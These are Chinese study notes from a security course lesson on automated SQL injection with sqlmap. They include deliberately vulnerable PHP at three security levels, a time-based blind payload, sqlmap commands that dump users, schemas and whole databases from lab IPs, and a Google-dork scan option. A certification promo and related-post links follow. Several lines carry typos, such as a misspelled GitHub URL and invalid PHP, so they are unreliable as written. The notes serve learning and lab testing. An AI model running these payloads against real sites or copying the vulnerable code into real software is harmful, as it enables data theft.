课时92 SQLMAP- 自动注入

SQLMAP自动注入

开源sql注入漏洞检测、利用工具

检测动态页面中get/post参数、cookie、http头

数据榨取

文件系统访问

操作系统命令执行

引擎强大、特性丰富

Xss漏洞检测

------------------------------------------------------------------------------

低安全代码

<?php

if (isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';

$result = mysql_query($getid);

$num = @mysql_numrows($result);

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;

echi '</pre>';

$i++;

}

}

?>

------------------------------------------------------------------------------

中安全代码

<?php

if (isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$id = mysql_real_escape_string($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';

$result = mysql_query($getid);    // Removed or die' to suppres mysql errors

$num = @mysql_numrows($result);   // The '@' character supressed errors making the injection bling

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;

echi '</pre>';

$i++;

}

}

?>

-------------------------------------------------------------------------

高安全代码

<?php

if (isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$id = stripslashed($id);

$id = mysql_real_escape_string($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';

$result = mysql_query($getid);    // Removed or die' to suppres mysql errors

$num = @mysql_numrows($result);   // The '@' character supressed errors making the injection bling

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;

echi '</pre>';

$i++;

}

}

?>

------------------------------------------------------------------------

SQLMAP自动注入

五种漏洞检测技术

基于布尔的盲注检测

基于时间的盲注检测

'and (select * from (select(sleep(20)))a)--+

基于错误的检测

基于UNION联合查询的检测

适用于通过循坏直接输出联合查询结果,否则只显示第一项结果

基于堆叠查询的检测

;堆叠多个查询语句

适用于非select的数据修改、删除的操作

支持的数据库管理系统DBMS

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,

Firebird,Sybase,SAP MaxDB

SQLMAP自动注入

其他特性

数据库直接连接-d

不通过SQL注入,制定×××信息、IP、端口

与burpustie、google结合适用,支持政策表达式限定测试目标

Get、post、cookie、Referer、User-Agent(随机或指定)

Cookie过期后自动处理Set-Cookie头,更新cookie信息

限速:最大并发、延迟发送

支持Basic,Digest,NTLM,CA身份认证

数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称

文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表

与w3af、metasploit集成结合适用,基于数据库服务进程提权和上传执行后门

SQLMAP自动注入

基于python2.7开发

安装

apt-get install git

git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

升级

sqlmap --update 在线

git pull        离线

Kali集成板随kali库更新

root@R:~# sqlmap --update

root@R:~# sqlmap --version      //查看sqlmap版本

root@R:~# git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

SQLMAP自动注入

sqlmap -h / -hh

sqlmap -d "mysql://root:@192.168.20.10:3306/dvwa" -f -users

--banner --dbs --schema -a

sqlmap --version -v

日志

sqlmap

输出

输出内容详细度分7个等级

root@R:~# sqlmap -h

root@R:~# sqlmap -hh   //所有的参数

SQLMAP自动注入

Get方法

sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-

info.php&username=11&password=22&user-info-php-submit-

button=View+Account+Details" -p username -f

扫描URL列表文件

http://1.1.1.1/vuln.php?q=foobar

http://1.1.1.1/vuln3/id/1*

sqlmap -m list.txt

扫描google搜索结果

sqlmap.py -g "inurl:\".php?id=1\""

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username

文件保存到/root/.sqlmap/output

root@R:~# cd .sqlmap/

root@R:~/.sqlmap# ls

output

root@R:~/.sqlmap# cd output/

root@R:~/.sqlmap/output# ls

192.168.1.121

root@R:~/.sqlmap/output# cd 192.168.1.121

root@R:~/.sqlmap/output/192.168.1.121# ls

log  session.sqlite  target.txt

root@R:~/.sqlmap/output/192.168.1.121# more log

root@R:~/.sqlmap/output/192.168.1.121# more session.sqlite

root@R:~/.sqlmap/output/192.168.1.121# more  target.txt

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --users

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --banner

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema -a     //所有

root@R:~# sqlmap -d "mysql://root@192.168.1.121:3306/dvwa" -f -users

root@R:~# sqlmap -d "mysql://root@192.168.1.121:3306/dvwa" -f -banner

root@R:~# sqlmap -d "mysql://root@192.168.1.121:3306/dvwa" -f -a

root@R:~# vi list

http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details

root@R:~# sqlmap -m list.txt --dbs

root@R:~# sqlmap -m list.txt --user

SQLMAP自动注入

POST方法

使用http请求文件(burpsuite)

sqlmap -r request.txt

使用burpsuite log文件

sqlmap -l log.txt

HTTPS

sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl

扫描配置文件

sqlmap -c sqlmap.conf

root@R:~# vi post

User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Icweasel/43.0.4

Accept: text/htm,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accep-Encoding: gzip, deflate

Referer: http://192.168.1.121/murillidae/index.php?page=login.php

Cookie: PHPSESSID=558206c48166fc5523a87b591100fb3e

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

useranme=1&password=11&login-php-submin-button=login

root@R:~# sqlmap -r post.txt --dbs

root@R:~# dpkg -L sqlmap | grep sqlmap.com

/etc/sqlmap/sqlmap.conf

/usr/share/doc/sqlmap/examples/sqlmap.conf.gz

root@R:~# cat /etc/sqlmap/sqlmap.conf

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?

原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

原因二: IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

转载于:https://blog.51cto.com/11672938/2045739

【安全牛学习笔记】SQLMAP- 自动注入相关推荐

  1. 【安全牛学习笔记】SQLMAP自动注入-REQUEST

    SQLMAP自动注入-----REQUEST 数据段:   --data get/post都适用 sqlmap -u "http://1.1.1.1/a.php" --data=& ...

  2. 【安全牛学习笔记】SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES

    SQLMAP自动注入04-----INJECTION -p 指定扫描的参数,使--level失效 -p "user-agent,referer" --skip 排除指定的扫描参数 ...

  3. 【安全牛学习笔记】课时94 SQLMAP自动注入-REQUEST和SQLMAP自动注入-OPTIMIZATION

    SQLMAP自动注入02-----REQUEST --delay 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟 --timeout 请求超时时间,浮点数,默认为30秒 --retr ...

  4. SpringMVC:学习笔记(11)——依赖注入与@Autowired

    SpringMVC:学习笔记(11)--依赖注入与@Autowired 使用@Autowired 从Spring2.5开始,它引入了一种全新的依赖注入方式,即通过@Autowired注解.这个注解允许 ...

  5. spring学习笔记03-spring-DI-依赖注入详解(通过xml配置文件来配置依赖注入)

    spring学习笔记03-spring-DI-依赖注入详解 1.概念 2.构造函数注入 3.set方法注入 4.集合的注入 需要被注入的实体对象 package com.itheima.service ...

  6. 【安全牛学习笔记】kali TOP10 安全工具:

    kali TOP10 安全工具: burpsuite截断信息 maltego收集信息 metasploit framework***测试框架,有许多安全工具 nmap网络发现扫描器 owasp-zap ...

  7. 2.羽翼sqlmap学习笔记之MySQL注入

    1.判断一个url是否存在注入点: .sqlmap.py -u "http://abcd****efg.asp?id=7" -dbs 假设找到数据库:student ------- ...

  8. 【安全牛学习笔记】提权

    Windows • user • Administrator • System Linux • User • Root windows提权 将admin提权为system net user命令  查看 ...

  9. 【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架

    存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js& ...

最新文章

  1. java怎么清空表释放空间_Linux 删除文件未释放空间问题处理,下清空或删除大文件...
  2. 160个Crackme022之故布疑阵
  3. 兴林村脱贫谋定向往宜居村庄-农业大健康·万祥军:美丽蝶变
  4. idea单行注释对齐修改Settings - Editor - Code Style-Code Generation,取消comment code的勾选
  5. 如何查看python的版本号
  6. pku 1094(拓扑排序,多次拓扑)
  7. Kmalloc和Vmalloc的区别
  8. [Codeforces 100633J]Ceizenpok’s formula
  9. List(JDK1.7)(2)
  10. Java视频教程从入门到精通(2021完整版)
  11. LVDS接口定义详解
  12. 怎么看电脑的hdmi是输出还是输入_笔记本hdmi接口是输入还是输出
  13. html字体的渐变效果,CSS 网页文字渐变效果
  14. 聚名商学院:近六百元在聚名网抢注域名,两年不到卖了八万八千八百八十八元,这就是域名投资的魅力!
  15. mysql select_type simple_mysql explain
  16. .net7二维码跨平台完美解决方案
  17. 大学生无线耳机怎么选?内行推荐四款高性价比蓝牙耳机
  18. 小白到高级UI设计师,如何实现完美蜕变?
  19. 文墨绘学:教育培训微信营销方案
  20. adb操作提示Read-only file system问题

热门文章

  1. setsockopt()函数功能介绍
  2. spring18-1:采用jdk的动态代理 proxy。
  3. 零基础代理神器allproxy
  4. 怎么将一个数组转化成字符串
  5. 第一章 Linux内核简介
  6. MATLAB 循环子字符串
  7. Linux开发 python引用自定义的模块
  8. 删掉java影响什么_java带来的影响
  9. 【SSM框架系列】SpringMVC的请求和响应
  10. 11.23关于微信JSAPI缺少参数的问题解决